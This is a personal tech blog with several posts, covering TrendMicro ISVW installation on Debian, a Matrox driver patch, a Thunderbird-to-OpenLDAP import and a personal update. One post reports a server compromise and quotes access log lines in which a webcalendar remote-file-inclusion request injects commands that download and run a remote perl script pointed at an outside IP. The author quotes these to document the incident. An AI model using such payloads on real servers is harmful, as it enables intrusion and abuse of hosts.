Today I did some technical updates on this website that fix some minor and major problems. Here's the list:

• 
  
  
• Comments are now fully functional
  
  
• The sidebar is working in Internet Explorer now, cool ey?

Here's a short documentation of how to install TrendMicro ISVW SMB on Debian based installations:

You need to have chkconfig for Debian installed (check here for installation instructions).
The second thing you need is libstdc++2.10-glibc2.2 (isinst relies on this library).

The current version of the ISVW installer (isinst) is only able to recognize postfix or sendmail as local MTA, so you need to have one of them installed (I tried to modify isinst but that would me too much work because you'll have to modify all scripts in several tgz-files to reflect the changes for the whole installation procedure, anyhow if you're still interested in this approach, click here for a diff to isinst).

After your system is prepared, start the installer and answer all the questions according to your needs and you should be fine.

Known Issues:
After installation you will get the following warnings when running ldconfig:

ldconfig: File /usr/lib/libem_shell.so.lock is too small, not checked.
ldconfig: /usr/lib/libem_shell.so is not an ELF file - it has the wrong magic bytes at the start.

According to the knowledgebase of TrendMicro you can ignore these warnings (although I don't understand, why they put their own object-format-files into the global shared objects directory...).

This time the problem was caused by a security bug in the webcalendar application of one virtual host on this site (fazerforum.motorradseiten.at).

Someone sent some commands like this to my server that allowed him to download some perl scripts etc. to /tmp and execute them (No, /tmp is not executable, he or she called the perl interpreter directly to run this scripts).

vhosts/fazerforum.motorradseiten.at/access.log.0:201.32.151.217 - - [26/Oct/2005:13:20:54 +0200] \
    "GET /webcalendar//tools/send_reminders.php?includedir=\
    http://freewebbe.supereva.it/asc.txt?&cmd=cd%20/tmp;wget%20\
    http://alexaraojo.sites.uol.com.br/dc.txt
vhosts/fazerforum.motorradseiten.at/access.log.0:201.45.100.130 - - [27/Oct/2005:06:29:06 +0200] \
    "GET /webcalendar//tools/send_reminders.php?includedir=\
    http://freewebbe.supereva.it/asc.txt?&cmd=cd%20/tmp;lwp-download%20\
    http://www.tutoworld.org/xpl/dc.txt;perl%20dc.txt%20216.22.25.95%2017832

These scripts tried to send several thousands of emails through my server and therefore I had to deactivate the fazerforum until it is fixed.

More news later on, when I finally get rid of this issue.

Update:
After searching through the web, I found the security issue on the webcalendar project page and a discussion about this issue here.

It seems, that this issue is quite easy to fix, so I'll fix it now.
If you're using webcalendar, I strongly encourage you to apply the fix or update to 1.0.1!

After presenting the all new 1.4.2.1 release of the driver, some issues were brought to my attention from different testers.

1. Does not compile on 2.6.14-rc4
2. Does not compile on SuSE 10.0
3. Throws several warnings during compilation

1. Does not compile on 2.6.14-rc4
This is because the kernel developers dropped pci_dev's "pretty_name" attribute and was easy to fix by replacing it with the "name" attribute.

2. Does not compile on SuSE 10.0
SuSE 10.0 uses highmemory support by default in their shipped kernels and therefore we have to include "<linux/highmem.h>" if "CONFIG_NOHIGHMEM" is NOT set to avoid confusion about what kind of kunmap_atomic call the compiler should use.

3. Throws several warnings during compilation
On my system I don't get these warnings, but on the system of one special person they became visible (#if DEBUG instead of #ifdef DEBUG, a.s.o.); so I changed all occurences of #if instead of #ifdef and the warnings were gone.

Downloads:
Diff from 1.4.2.1 to 1.4.2.2

Please note that this patch is work in progress and as long as I get compilation errors on some systems it's subject to change (I don't want to have 1.4.2.2.x version numbers, I'm getting enough confused with the current version numbering ;))

Again, for additional information on installing, upgrading, etc. please have a look at the Matrox Technical Support Forum.

Today I finished the new release of the unofficial mtx-driver for Matrox Parhelia Graphic Cards.

That wouldn't be possible without the help of Christopher Montgomery who sent me a patch to address some of the issues 1.4.2 has had.

Note to all upgraders:
The fix_typo patch for the 1.4.2 version of this driver just removed an error message, but did not fix the problem. The new 1.4.2.1 release incorporates changes that make the AGP support really work instead of just removing the typo. So if you plan to upgrade from 1.4.2 to 1.4.2.1 and you're using the fix_typo patch, remove the patch or don't use the diff.

Downloads:
Diff from 1.4.2 to 1.4.2.1
Self-extracting installer

For Additional information on installing, upgrading, etc. please have a look at the Matrox Technical Support Forum.

Yesterday I tried to import all address book entries from Mozilla Thunderbird into an OpenLDAP server. That was quite a pain, because the TB-exported LDIF-scheme did not import into LDAP, so I had to do quite some stuff.

1. Import the mozillaOrgPerson_V0.6.2 schema into your ldap-server
2. Adjust slapd.conf's sizelimit option if your address book contains more than 500 (= default value) entries
3. Run the conversion script to fix all issues regarding TB-Addressbook Export and OpenLDAP LDIF import.

1. Import the mozillaOrgPerson schema

Download the mozillaOrgPerson_V0.6.2 schema and copy it to "/etc/ldap/schema/".
Add the following include statement anywhere on top of your "/etc/ldap/slapd.conf" file.

include         /etc/ldap/schema/mozillaOrgPerson_V0.6.2.schema

After this, restart your slapd.

2. Adjust slapd.conf's sizelimit option

If your address book has more than 500 entries, you need to set the sizelimit option in slapd.conf. By default, it is not mentioned and so I added a newline at the end of the file containing the following directive:

# Because we have more than 500 entries in our database...
sizelimit       1500

3. Run the conversion script

I wrote a cool perl script to prepare the exported LDIF-file from Thunderbirds addressbook for importing it into my OpenLDAP server (I used phpldapadmin to import the file).

Check out the syntax highlighted version of the script for a precise explanation of what it does exactly or alternatively download the script.

I was very happy to have a LDIF-source file with soooo many exceptions and unusual statements so I could take care of all of them.
If you experience any errors or want to provide additional features to this script, please contact me on the usual ways.

Happy converting

Yes, I'm still alive, but was very occupied the last time. I know, that's a bad excuse for not blogging, but never mind. The endometriosis congress is over now and went very well, we also had to manage all IT-related stuff during the congress (e.g. rendering videos, adapting Powerpoint presentations, syncing all presentations platforms with the current presentation replica, etc.).

I also managed to get a new car and as I'm addicted to BMW's E34 series, I bought a 1992 520i touring which is very cool and works quite well at the moment.
Nothing more of interest by now, but stay tuned.